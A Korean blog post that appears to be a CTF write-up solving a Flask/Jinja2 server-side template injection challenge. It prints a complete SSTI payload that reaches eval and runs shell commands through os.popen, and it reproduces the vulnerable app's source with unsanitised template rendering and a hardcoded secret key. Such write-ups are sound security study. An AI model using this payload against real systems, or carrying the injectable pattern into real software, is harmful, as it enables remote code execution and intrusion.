White Security
repeaaaaaat 문제풀이 본문
Encrypt CTF web 4번
Flask SSTI 문제입니다.
사이트에 접속하면 푸른 아이콘들이 보이는데
스크롤을 내리려고 하면 이미지가 계속적으로 증가하기에
하단 내용을 확인할 수 없도록 되어 있습니다.
소스를 확인하면 스크롤시 이미지 증식 기능을 구현하는
자바스크립트 코드와 하단에 base64로 인코딩된 주석문이 보입니다.
d2hhdF9hcmVfeW91X3NlYXJjaGluZ19mb3IK L2xvbF9ub19vbmVfd2lsbF9zZWVfd2hhdHNfaGVyZQ== Lz9zZWNyZXQ9ZmxhZw==
what_are_you_searching_for /lol_no_one_will_see_whats_here /?secret=flag
주석은 새로고침을 할 때마다 랜덤으로 바뀌는데
디코딩 해보면 페이지의 파라미터 힌트가 주어집니다.
http://104.154.106.182:5050/?secret=posix.tistory.com
입력된 값이 특별한 필터링 절차없이
그대로 페이지에 추가되는 것을 보고
바로 SSTI 기법을 떠올릴 수 있었습니다.
104.154.106.182:5050/?secret={{7*7}}
추측대로 Jinja 기반의 SSTI가 가능하다는 것을 확인할 수 있었는데
서버 엔진은 응답헤더에서 확인할 수 있는 정보입니다.
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{b['eval']("__import__('os').popen(__import__('base64').urlsafe_b64decode('bHM=').decode()).read()")}} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
위 페이로드를 URI 인코딩하여 삽입하는 것으로
RCE 가 가능했습니다.
bHM= 은 ls 를 base64 인코딩한 문자열 입니다.
cat flag.txt 명령어를 사용해 주면 플래그를 확인할 수 있습니다.
아래는 동일 취약점을 통해 얻어낸 페이지 소스로
참고를 위해 올립니다.
from flask import Flask, render_template, request, render_template_string import random app = Flask(__name__) app.secret_key = "cf49d97a5680998cbddbee283eeb03adbeda772b" @app.route("/lol_no_one_will_see_whats_here") def troll1(): return render_template("troll1.html") @app.route("/what_are_you_searching_for") def troll2(): return render_template("troll2.html") @app.route("/", methods=["GET"]) def inject(): hints = ["Lz9zZWNyZXQ9ZmxhZw==", "L2xvbF9ub19vbmVfd2lsbF9zZWVfd2hhdHNfaGVyZQ==", "d2hhdF9hcmVfeW91X3NlYXJjaGluZ19mb3IK"]; hint = hints[random.randint(0, len(hints)-1)] secret = request.args.get("secret", default="") template = """ repeaaaaaat SCRIPT function repeat() { for(var i=0; i<10; i++) { lol = document.createElement("img") lol.src = "/static/lol.png" var shit = document.getElementById(shit') shit.appendChild(lol) } } Hello, %s """ % (secret, hint) return render_template_string(template) if __name__ == "__main__": app.run(debug=True)
'CTF Writups' 카테고리의 다른 글
ByteBandits CTF - EasyPHP 문제풀이 (0) | 2019.04.14 |
---|---|
Marcodowno 문제풀이 (0) | 2019.04.06 |
Sweet 문제풀이 (0) | 2019.04.03 |
Portfolio 문제풀이 (0) | 2019.04.01 |
Wrestler Name Generator 문제풀이 (0) | 2019.03.31 |
Comments